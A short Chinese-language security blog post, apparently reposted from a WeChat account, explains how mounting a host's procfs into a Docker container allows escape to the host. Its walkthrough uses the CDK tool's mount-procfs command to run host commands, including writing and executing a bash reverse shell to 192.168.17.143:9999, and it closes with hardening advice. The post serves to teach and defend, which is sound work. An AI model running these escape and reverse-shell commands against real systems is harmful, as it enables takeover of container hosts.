【容器安全】Procfs危险挂载导致容器逃逸

admin 2023年4月13日08:52:20评论73 views字数 930阅读3分6秒阅读模式

基本概述

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时

容器逃逸

Step 1:在宿主机启动测试容器,挂载宿主机的procfs,尝试逃逸当前容器

docker run -v /home/ubuntu/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash

【容器安全】Procfs危险挂载导致容器逃逸

Step 2:容器内部执行以下命令

./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"

【容器安全】Procfs危险挂载导致容器逃逸

Step 3:宿主机中出现/tmp/exp-success文件,说明EXP已经成功执行,攻击者可以在宿主机执行任意命令

./cdk run mount-procfs /mnt/host_proc "echo '/bin/bash -i >& /dev/tcp/192.168.17.143/9999 0>&1' > /tmp/res.sh"./cdk run mount-procfs /mnt/host_proc "/bin/bash /tmp/res.sh"

【容器安全】Procfs危险挂载导致容器逃逸

【容器安全】Procfs危险挂载导致容器逃逸

Step 4:之后成功获取到物理主机的shell

【容器安全】Procfs危险挂载导致容器逃逸

文末小结

总的来说,Procfs挂载是一种常见的系统调优技术,它可以帮助用户监控和分析系统资源的使用情况。然而,如果不小心处理,将Procfs挂载到容器中可能会导致安全风险,使得攻击者能够通过访问/proc目录来获取敏感主机信息或者实施攻击。为了避免这种风险,我们需要注意以下几点:

1、在启动容器之前,确保没有把Procfs文件系统挂载到容器内部。 
2、对于需要访问/proc目录的容器,限制其对/proc目录的访问权限,只开放必要的信息
3、细化容器的权限设置,根据具体的应用场景来划分容器的权限范围,避免滥用特权。 
4、定期检查容器的配置和运行状态,及时发现和修复潜在的安全漏洞和风险。

综上所述,我们需要在使用Procfs挂载的同时,加强容器的安全管理,以确保容器环境下的安全性和稳定性。

原文始发于微信公众号(七芒星实验室):【容器安全】Procfs危险挂载导致容器逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月13日08:52:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【容器安全】Procfs危险挂载导致容器逃逸http://cn-sec.com/archives/1667811.html

发表评论

匿名网友 填写信息